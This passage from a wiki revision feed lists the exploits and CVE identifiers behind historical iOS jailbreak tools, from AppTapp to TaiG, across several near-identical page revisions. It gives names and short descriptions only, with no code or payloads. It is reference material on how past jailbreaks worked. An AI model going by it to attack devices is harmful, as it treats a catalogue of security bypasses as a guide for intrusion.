* [[0x24000 Segment Overflow]] (for [[untethered jailbreak]] on [[n88ap|iPhone 3GS]] with [[Bootrom 359.3|old bootrom]] and [[n72ap|iPod touch 2G]] with [[Bootrom 240.4|old bootrom]]; another exploit as the [[limera1n Exploit]] is required)&lt;br /&gt;
* [[limera1n Exploit]] (for [[tethered jailbreak]] on [[n88ap|iPhone 3GS]], [[n18ap|iPod touch 3G]], [[k48ap|iPad]], [[iPhone 4]], [[n81ap|iPod touch 4G]] and [[k66ap|Apple TV 2G]])&lt;br /&gt;
* [[usb_control_msg(0xA1, 1) Exploit]] (also known as &amp;quot;steaks4uce&amp;quot;) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak different versions of iOS ==&lt;br /&gt;
=== [[PwnageTool]] (2.0 - 5.1.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 5.1.1&lt;br /&gt;
&lt;br /&gt;
=== [[redsn0w]] (3.0 - 6.0) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the same exploits as [[Absinthe|Absinthe]] and [[Absinthe|Absinthe 2.0]] to jailbreak iOS 5.0/5.0.1 and 5.1.1&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 5.1.1&lt;br /&gt;
&lt;br /&gt;
=== [[sn0wbreeze]] (3.1.3 - 6.1.3) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 6.1.2&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 1.x ==&lt;br /&gt;
=== [[AppTapp Installer]] (1.0 / 1.0.1 / 1.0.2) ===&lt;br /&gt;
* iBoot &amp;lt;code&amp;gt;cp&amp;lt;/code&amp;gt;-command exploit&lt;br /&gt;
&lt;br /&gt;
=== [[iBrickr]] (1.0 / 1.0.1 / 1.0.2) ===&lt;br /&gt;
* iBoot &amp;lt;code&amp;gt;cp&amp;lt;/code&amp;gt;-command exploit&lt;br /&gt;
&lt;br /&gt;
=== [[AppSnapp]]/[[JailbreakMe|JailbreakMe 1.0]] (1.0 / 1.0.1 / 1.0.2 / 1.1.1) ===&lt;br /&gt;
* [[LibTiff|libtiff exploit]] (Adapted from the PSP scene, used by [[JailbreakMe]]) ({{cve|2006-3459}})&lt;br /&gt;
&lt;br /&gt;
=== [[mknod|OktoPrep]] (1.1.2) ===&lt;br /&gt;
&amp;quot;Upgrade&amp;quot; to 1.1.2 from a jailborken 1.1.1&lt;br /&gt;
* [[mknod]]&lt;br /&gt;
&lt;br /&gt;
=== [[Soft Upgrade]] (1.1.3) ===&lt;br /&gt;
&amp;quot;Upgrade&amp;quot; to 1.1.3 from a running jailbroken 1.1.2&lt;br /&gt;
&lt;br /&gt;
=== [[ZiPhone]] (1.1.3 / 1.1.4 /1.1.5) ===&lt;br /&gt;
* [[Ramdisk Hack]]&lt;br /&gt;
&lt;br /&gt;
=== [[iLiberty+|iLiberty / iLiberty+]] (1.1.3 / 1.1.4 /1.1.5) ===&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 2.x ==&lt;br /&gt;
=== [[QuickPwn]] (2.0 - 2.2.1) ===&lt;br /&gt;
* uses [[Pwnage]] and [[Pwnage 2.0]]&lt;br /&gt;
&lt;br /&gt;
=== [[Redsn0w Lite]] (2.1.1) ===&lt;br /&gt;
* [[ARM7 Go]] (for [[n72ap|iPod touch 2G]] only)&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 3.x ==&lt;br /&gt;
=== [[purplera1n]] (3.0) ===&lt;br /&gt;
* [[iBoot Environment Variable Overflow]] ({{cve|2009-2795}})&lt;br /&gt;
* uses [[0x24000 Segment Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[blackra1n]] (3.1.2) ===&lt;br /&gt;
* [[usb_control_msg(0x21, 2) Exploit]] ({{cve|2010-0038}})&lt;br /&gt;
* uses [[0x24000 Segment Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Spirit]] (3.1.2 / 3.1.3 / 3.2) ===&lt;br /&gt;
* [[MobileBackup Copy Exploit]]&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[BPF_STX Kernel Write Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[Star|JailbreakMe 2.0 / Star]] (3.1.2 / 3.1.3 / 3.2 / 3.2.1) ===&lt;br /&gt;
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})&lt;br /&gt;
&lt;br /&gt;
=== [[limera1n]] / [[greenpois0n (jailbreak)|greenpois0n]] (3.2.2) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 4.x ==&lt;br /&gt;
=== [[Star|JailbreakMe 2.0 / Star]] (4.0 / 4.0.1) ===&lt;br /&gt;
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})&lt;br /&gt;
&lt;br /&gt;
=== [[limera1n]] /  (4.0 / 4.0.1 / 4.0.2 / 4.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.2.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[HFS Legacy Volume Name Stack Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.2.6 / 4.2.7 / 4.2.8) ===&lt;br /&gt;
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})&lt;br /&gt;
* [[HFS Legacy Volume Name Stack Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.3 / 4.3.1 / 4.3.2 / 4.3.3) ===&lt;br /&gt;
Except for the [[n18ap|iPod touch 3G]] on iOS 4.3.1.&lt;br /&gt;
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})&lt;br /&gt;
* [[IOMobileFrameBuffer Privilege Escalation Exploit]] ({{cve|2011-0227}})&lt;br /&gt;
&lt;br /&gt;
=== i0nic's Untether (4.3.1 / 4.3.2 / 4.3.3) ===&lt;br /&gt;
used in [[redsn0w]] to untether iOS 4.3.1 / 4.3.2 / 4.3.3&lt;br /&gt;
* [[ndrv_setspec() Integer Overflow]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 5.x ==&lt;br /&gt;
=== [[unthredera1n]] (5.0 / 5.0.1 / 5.1 / 5.1.1) ===&lt;br /&gt;
Except for the [[iPad 3]]&lt;br /&gt;
* MobileBackup2 Copy Exploit&lt;br /&gt;
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})&lt;br /&gt;
* [[AMFID code signing evasion]] ({{cve|2013-0977}})&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[Timezone Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
=== [[Absinthe]] (5.0 on [[n94ap|iPhone 4S]] only / 5.0.1 on [[iPad 2]] and [[iPhone 4S]])  ===&lt;br /&gt;
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}}) (used both for payload injection and untether)&lt;br /&gt;
* [[HFS Heap Overflow]] ({{cve|2012-0642}})&lt;br /&gt;
* unknown exploit ({{cve|2012-0643}})&lt;br /&gt;
&lt;br /&gt;
=== [[Corona|Corona Untether]] (5.0.1)  ===&lt;br /&gt;
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}})&lt;br /&gt;
* [[HFS Heap Overflow]] ({{cve|2012-0642}})&lt;br /&gt;
* unknown exploit ({{cve|2012-0643}})&lt;br /&gt;
&lt;br /&gt;
=== [[Absinthe|Absinthe 2.0]] and [[Rocky Racoon|Rocky Racoon Untether]] (5.1.1) ===&lt;br /&gt;
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})&lt;br /&gt;
* Racoon DNS4/WINS4 table buffer overflow ({{cve|2012-3727}})&lt;br /&gt;
* MobileBackup2 Copy Exploit&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 6.x ==&lt;br /&gt;
=== [[evasi0n]] (6.0 / 6.0.1 / 6.0.2 / 6.1 / 6.1.1 / 6.1.2)  ===&lt;br /&gt;
* [[Symbolic Link Vulnerability]] ({{cve|2013-0979}})&lt;br /&gt;
* [[Timezone Vulnerability]]&lt;br /&gt;
* [[Shebang Trick]] ({{cve|2013-5154}})&lt;br /&gt;
* [[AMFID code signing evasion]]&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[IOUSBDeviceFamily Vulnerability]] ({{cve|2013-0981}})&lt;br /&gt;
* [[ARM Exception Vector Info Leak]] ({{cve|2013-0978}})&lt;br /&gt;
* [[dynamic memmove() locating]]&lt;br /&gt;
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]&lt;br /&gt;
* [[kernel memory write via ROP gadget]]&lt;br /&gt;
* [[Overlapping Segment Attack]] ({{cve|2013-0977}})&lt;br /&gt;
&lt;br /&gt;
=== [[p0sixspwn]] (6.1.3 / 6.1.4 / 6.1.5 / 6.1.6) ===&lt;br /&gt;
* [[posix_spawn kernel information leak]] ({{cve|2013-3954}}) (by [[i0n1c]])&lt;br /&gt;
* [[posix_spawn kernel exploit]] ({{cve|2013-3954}}) (by [[i0n1c]])&lt;br /&gt;
* [[mach_msg_ool_descriptor_ts for heap shaping]] ({{cve|2013-3953}})&lt;br /&gt;
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]])&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 7.x ==&lt;br /&gt;
=== [[evasi0n7]] (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) ===&lt;br /&gt;
{{Section Stub}}&lt;br /&gt;
* [[Symbolic Link Vulnerability]] ({{cve|2013-5133}})&lt;br /&gt;
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})&lt;br /&gt;
* CrashHouseKeeping chmod vulnarability ({{cve|2014-1272}})&lt;br /&gt;
* ptmx_get_ioctl ioctl crafted call ({{cve|2014-1278}})&lt;br /&gt;
&lt;br /&gt;
=== [[Geeksn0w]] (7.1 / 7.1.1 / 7.1.2) ===&lt;br /&gt;
* [[limera1n]]'s bootrom exploit ([[Tethered jailbreak]]) on [[iPhone 4]]&lt;br /&gt;
&lt;br /&gt;
=== [[Pangu]] (7.1 / 7.1.1 / 7.1.2) ===&lt;br /&gt;
* [[i0n1c]]'s Infoleak vulnerability (Pangu v1.0.0)&lt;br /&gt;
* break_early_random (by [[i0n1c]] and Tarjei Mandt of Azimuth) (Pangu v1.1.0)&lt;br /&gt;
* LightSensor / ProxALSSensor kernel exploit (Pangu 1.0.0) ({{cve|2014-4388}})&lt;br /&gt;
* TempSensor kernel exploit (Pangu 1.1.0) ({{cve|2014-4388}})&lt;br /&gt;
* &amp;quot;syslogd chown&amp;quot; vulnerability&lt;br /&gt;
* enterprise certificate (no real exploit, used for initial &amp;quot;unsigned&amp;quot; code execution)&lt;br /&gt;
* &amp;quot;foo_extracted&amp;quot; symlink vulnerability (used to write to /var) ({{cve|2014-4386}})&lt;br /&gt;
* /tmp/bigfile (a big file for improvement of the reliability of a race condition)&lt;br /&gt;
* VoIP backgrounding trick (used to auto restart the app)&lt;br /&gt;
* hidden segment attack&lt;br /&gt;
* IOKit crafted call maker utility ({{cve|2014-4407}})&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 8.x ==&lt;br /&gt;
=== [[Pangu8]] (8.0 / 8.0.1 / 8.0.2 / 8.1) ===&lt;br /&gt;
* an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)&lt;br /&gt;
* enterprise certificate (inside the IPA)&lt;br /&gt;
* a kind of dylib injection into a system process (see IPA)&lt;br /&gt;
* a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)&lt;br /&gt;
* a sandboxing problem in debugserver ({{cve|2014-4457}})&lt;br /&gt;
* the same/a similar kernel exploit as used in [[Pangu|the first Pangu]] ({{cve|2014-4461}}) (source @iH8sn0w)&lt;br /&gt;
* enable-dylibs-to-override-cache&lt;br /&gt;
* a new ovelapping segment attack ({{cve|2014-4455}})&lt;br /&gt;
* i0n1c's Kernel info leak ({{cve|2014-4491}})&lt;br /&gt;
&lt;br /&gt;
=== [[TaiG]] and [[PPJailbreak]] (8.0 / 8.0.1 / 8.0.2 / 8.1 / 8.1.1 / 8.1.2) ===&lt;br /&gt;
* LightSensor / ProxALSSensor kernel exploit (Also used in Pangu 1.0.0)&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]]) (source: https://twitter.com/iH8sn0w/status/538602532088860672; also used in p0sixspwn)&lt;br /&gt;
* enable-dylibs-to-override-cache (Also used in Pangu8)&lt;br /&gt;
* a kind of dylib injection into a system process (see IPA) (Also used in Pangu8 but tweaked slightly)&lt;br /&gt;
* a new ovelapping segment attack [in a modified version] ({{cve|2014-4455}})&lt;br /&gt;
* a new afc symlink attack ({{cve|2014-4480}})&lt;br /&gt;
* mach_ports info leak {{cve|2014-4496}}&lt;br /&gt;
* IOHIDFamily Kernel exploit ({{cve|2014-4487}})&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&amp;diff=44399</id>
		<title>Jailbreak Exploits</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&amp;diff=44399"/>
		<updated>2015-01-30T02:09:43Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: /* evasi0n7 (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page lists the '''exploits''' used in [[jailbreak]]s.&lt;br /&gt;
&lt;br /&gt;
== Common exploits which are used in order to jailbreak different versions of iOS ==&lt;br /&gt;
* [[Pwnage]] + [[Pwnage 2.0]] (together to jailbreak the [[n82ap|iPhone 3G]])&lt;br /&gt;
* [[ARM7 Go]] (from iOS 2.1.1) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])&lt;br /&gt;
* [[0x24000 Segment Overflow]] (for [[untethered jailbreak]] on [[n88ap|iPhone 3GS]] with [[Bootrom 359.3|old bootrom]] and [[n72ap|iPod touch 2G]] with [[Bootrom 240.4|old bootrom]]; another exploit as the [[limera1n Exploit]] is required)&lt;br /&gt;
* [[limera1n Exploit]] (for [[tethered jailbreak]] on [[n88ap|iPhone 3GS]], [[n18ap|iPod touch 3G]], [[k48ap|iPad]], [[iPhone 4]], [[n81ap|iPod touch 4G]] and [[k66ap|Apple TV 2G]])&lt;br /&gt;
* [[usb_control_msg(0xA1, 1) Exploit]] (also known as &amp;quot;steaks4uce&amp;quot;) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak different versions of iOS ==&lt;br /&gt;
=== [[PwnageTool]] (2.0 - 5.1.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 5.1.1&lt;br /&gt;
&lt;br /&gt;
=== [[redsn0w]] (3.0 - 6.0) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the same exploits as [[Absinthe|Absinthe]] and [[Absinthe|Absinthe 2.0]] to jailbreak iOS 5.0/5.0.1 and 5.1.1&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 5.1.1&lt;br /&gt;
&lt;br /&gt;
=== [[sn0wbreeze]] (3.1.3 - 6.1.3) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 6.1.2&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 1.x ==&lt;br /&gt;
=== [[AppTapp Installer]] (1.0 / 1.0.1 / 1.0.2) ===&lt;br /&gt;
* iBoot &amp;lt;code&amp;gt;cp&amp;lt;/code&amp;gt;-command exploit&lt;br /&gt;
&lt;br /&gt;
=== [[iBrickr]] (1.0 / 1.0.1 / 1.0.2) ===&lt;br /&gt;
* iBoot &amp;lt;code&amp;gt;cp&amp;lt;/code&amp;gt;-command exploit&lt;br /&gt;
&lt;br /&gt;
=== [[AppSnapp]]/[[JailbreakMe|JailbreakMe 1.0]] (1.0 / 1.0.1 / 1.0.2 / 1.1.1) ===&lt;br /&gt;
* [[LibTiff|libtiff exploit]] (Adapted from the PSP scene, used by [[JailbreakMe]]) ({{cve|2006-3459}})&lt;br /&gt;
&lt;br /&gt;
=== [[mknod|OktoPrep]] (1.1.2) ===&lt;br /&gt;
&amp;quot;Upgrade&amp;quot; to 1.1.2 from a jailborken 1.1.1&lt;br /&gt;
* [[mknod]]&lt;br /&gt;
&lt;br /&gt;
=== [[Soft Upgrade]] (1.1.3) ===&lt;br /&gt;
&amp;quot;Upgrade&amp;quot; to 1.1.3 from a running jailbroken 1.1.2&lt;br /&gt;
&lt;br /&gt;
=== [[ZiPhone]] (1.1.3 / 1.1.4 /1.1.5) ===&lt;br /&gt;
* [[Ramdisk Hack]]&lt;br /&gt;
&lt;br /&gt;
=== [[iLiberty+|iLiberty / iLiberty+]] (1.1.3 / 1.1.4 /1.1.5) ===&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 2.x ==&lt;br /&gt;
=== [[QuickPwn]] (2.0 - 2.2.1) ===&lt;br /&gt;
* uses [[Pwnage]] and [[Pwnage 2.0]]&lt;br /&gt;
&lt;br /&gt;
=== [[Redsn0w Lite]] (2.1.1) ===&lt;br /&gt;
* [[ARM7 Go]] (for [[n72ap|iPod touch 2G]] only)&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 3.x ==&lt;br /&gt;
=== [[purplera1n]] (3.0) ===&lt;br /&gt;
* [[iBoot Environment Variable Overflow]] ({{cve|2009-2795}})&lt;br /&gt;
* uses [[0x24000 Segment Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[blackra1n]] (3.1.2) ===&lt;br /&gt;
* [[usb_control_msg(0x21, 2) Exploit]] ({{cve|2010-0038}})&lt;br /&gt;
* uses [[0x24000 Segment Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Spirit]] (3.1.2 / 3.1.3 / 3.2) ===&lt;br /&gt;
* [[MobileBackup Copy Exploit]]&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[BPF_STX Kernel Write Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[Star|JailbreakMe 2.0 / Star]] (3.1.2 / 3.1.3 / 3.2 / 3.2.1) ===&lt;br /&gt;
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})&lt;br /&gt;
&lt;br /&gt;
=== [[limera1n]] / [[greenpois0n (jailbreak)|greenpois0n]] (3.2.2) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 4.x ==&lt;br /&gt;
=== [[Star|JailbreakMe 2.0 / Star]] (4.0 / 4.0.1) ===&lt;br /&gt;
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})&lt;br /&gt;
&lt;br /&gt;
=== [[limera1n]] /  (4.0 / 4.0.1 / 4.0.2 / 4.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.2.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[HFS Legacy Volume Name Stack Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.2.6 / 4.2.7 / 4.2.8) ===&lt;br /&gt;
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})&lt;br /&gt;
* [[HFS Legacy Volume Name Stack Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.3 / 4.3.1 / 4.3.2 / 4.3.3) ===&lt;br /&gt;
Except for the [[n18ap|iPod touch 3G]] on iOS 4.3.1.&lt;br /&gt;
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})&lt;br /&gt;
* [[IOMobileFrameBuffer Privilege Escalation Exploit]] ({{cve|2011-0227}})&lt;br /&gt;
&lt;br /&gt;
=== i0nic's Untether (4.3.1 / 4.3.2 / 4.3.3) ===&lt;br /&gt;
used in [[redsn0w]] to untether iOS 4.3.1 / 4.3.2 / 4.3.3&lt;br /&gt;
* [[ndrv_setspec() Integer Overflow]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 5.x ==&lt;br /&gt;
=== [[unthredera1n]] (5.0 / 5.0.1 / 5.1 / 5.1.1) ===&lt;br /&gt;
Except for the [[iPad 3]]&lt;br /&gt;
* MobileBackup2 Copy Exploit&lt;br /&gt;
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})&lt;br /&gt;
* [[AMFID code signing evasion]] ({{cve|2013-0977}})&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[Timezone Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
=== [[Absinthe]] (5.0 on [[n94ap|iPhone 4S]] only / 5.0.1 on [[iPad 2]] and [[iPhone 4S]])  ===&lt;br /&gt;
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}}) (used both for payload injection and untether)&lt;br /&gt;
* [[HFS Heap Overflow]] ({{cve|2012-0642}})&lt;br /&gt;
* unknown exploit ({{cve|2012-0643}})&lt;br /&gt;
&lt;br /&gt;
=== [[Corona|Corona Untether]] (5.0.1)  ===&lt;br /&gt;
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}})&lt;br /&gt;
* [[HFS Heap Overflow]] ({{cve|2012-0642}})&lt;br /&gt;
* unknown exploit ({{cve|2012-0643}})&lt;br /&gt;
&lt;br /&gt;
=== [[Absinthe|Absinthe 2.0]] and [[Rocky Racoon|Rocky Racoon Untether]] (5.1.1) ===&lt;br /&gt;
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})&lt;br /&gt;
* Racoon DNS4/WINS4 table buffer overflow ({{cve|2012-3727}})&lt;br /&gt;
* MobileBackup2 Copy Exploit&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 6.x ==&lt;br /&gt;
=== [[evasi0n]] (6.0 / 6.0.1 / 6.0.2 / 6.1 / 6.1.1 / 6.1.2)  ===&lt;br /&gt;
* [[Symbolic Link Vulnerability]] ({{cve|2013-0979}})&lt;br /&gt;
* [[Timezone Vulnerability]]&lt;br /&gt;
* [[Shebang Trick]] ({{cve|2013-5154}})&lt;br /&gt;
* [[AMFID code signing evasion]]&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[IOUSBDeviceFamily Vulnerability]] ({{cve|2013-0981}})&lt;br /&gt;
* [[ARM Exception Vector Info Leak]] ({{cve|2013-0978}})&lt;br /&gt;
* [[dynamic memmove() locating]]&lt;br /&gt;
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]&lt;br /&gt;
* [[kernel memory write via ROP gadget]]&lt;br /&gt;
* [[Overlapping Segment Attack]] ({{cve|2013-0977}})&lt;br /&gt;
&lt;br /&gt;
=== [[p0sixspwn]] (6.1.3 / 6.1.4 / 6.1.5 / 6.1.6) ===&lt;br /&gt;
* [[posix_spawn kernel information leak]] ({{cve|2013-3954}}) (by [[i0n1c]])&lt;br /&gt;
* [[posix_spawn kernel exploit]] ({{cve|2013-3954}}) (by [[i0n1c]])&lt;br /&gt;
* [[mach_msg_ool_descriptor_ts for heap shaping]] ({{cve|2013-3953}})&lt;br /&gt;
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]])&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 7.x ==&lt;br /&gt;
=== [[evasi0n7]] (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) ===&lt;br /&gt;
{{Section Stub}}&lt;br /&gt;
* [[Symbolic Link Vulnerability]] ({{cve|2013-5133}})&lt;br /&gt;
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})&lt;br /&gt;
* CrashHouseKeeping chmod vulnarability ({{cve|2014-1272}})&lt;br /&gt;
* ptmx_get_ioctl ioctl crafted call ({{cve|2014-1278}})&lt;br /&gt;
&lt;br /&gt;
=== [[Geeksn0w]] (7.1 / 7.1.1 / 7.1.2) ===&lt;br /&gt;
* [[limera1n]]'s bootrom exploit ([[Tethered jailbreak]]) on [[iPhone 4]]&lt;br /&gt;
&lt;br /&gt;
=== [[Pangu]] (7.1 / 7.1.1 / 7.1.2) ===&lt;br /&gt;
* [[i0n1c]]'s Infoleak vulnerability (Pangu v1.0.0)&lt;br /&gt;
* break_early_random (by [[i0n1c]] and Tarjei Mandt of Azimuth) (Pangu v1.1.0)&lt;br /&gt;
* LightSensor / ProxALSSensor kernel exploit (Pangu 1.0.0) ({{cve|2014-4388}})&lt;br /&gt;
* TempSensor kernel exploit (Pangu 1.1.0) ({{cve|2014-4388}})&lt;br /&gt;
* &amp;quot;syslogd chown&amp;quot; vulnerability&lt;br /&gt;
* enterprise certificate (no real exploit, used for initial &amp;quot;unsigned&amp;quot; code execution)&lt;br /&gt;
* &amp;quot;foo_extracted&amp;quot; symlink vulnerability (used to write to /var) ({{cve|2014-4386}})&lt;br /&gt;
* /tmp/bigfile (a big file for improvement of the reliability of a race condition)&lt;br /&gt;
* VoIP backgrounding trick (used to auto restart the app)&lt;br /&gt;
* hidden segment attack&lt;br /&gt;
* ptmx_get_ioctl crafted call exploit ({{cve|2014-4407}})&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 8.x ==&lt;br /&gt;
=== [[Pangu8]] (8.0 / 8.0.1 / 8.0.2 / 8.1) ===&lt;br /&gt;
* an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)&lt;br /&gt;
* enterprise certificate (inside the IPA)&lt;br /&gt;
* a kind of dylib injection into a system process (see IPA)&lt;br /&gt;
* a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)&lt;br /&gt;
* a sandboxing problem in debugserver ({{cve|2014-4457}})&lt;br /&gt;
* the same/a similar kernel exploit as used in [[Pangu|the first Pangu]] ({{cve|2014-4461}}) (source @iH8sn0w)&lt;br /&gt;
* enable-dylibs-to-override-cache&lt;br /&gt;
* a new ovelapping segment attack ({{cve|2014-4455}})&lt;br /&gt;
* i0n1c's Kernel info leak ({{cve|2014-4491}})&lt;br /&gt;
&lt;br /&gt;
=== [[TaiG]] and [[PPJailbreak]] (8.0 / 8.0.1 / 8.0.2 / 8.1 / 8.1.1 / 8.1.2) ===&lt;br /&gt;
* LightSensor / ProxALSSensor kernel exploit (Also used in Pangu 1.0.0)&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]]) (source: https://twitter.com/iH8sn0w/status/538602532088860672; also used in p0sixspwn)&lt;br /&gt;
* enable-dylibs-to-override-cache (Also used in Pangu8)&lt;br /&gt;
* a kind of dylib injection into a system process (see IPA) (Also used in Pangu8 but tweaked slightly)&lt;br /&gt;
* a new ovelapping segment attack [in a modified version] ({{cve|2014-4455}})&lt;br /&gt;
* a new afc symlink attack ({{cve|2014-4480}})&lt;br /&gt;
* mach_ports info leak {{cve|2014-4496}}&lt;br /&gt;
* IOHIDFamily Kernel exploit ({{cve|2014-4487}})&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&amp;diff=44390</id>
		<title>Jailbreak Exploits</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&amp;diff=44390"/>
		<updated>2015-01-29T00:46:32Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: that exploit was summarised by geohot but was saying it was unknown&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page lists the '''exploits''' used in [[jailbreak]]s.&lt;br /&gt;
&lt;br /&gt;
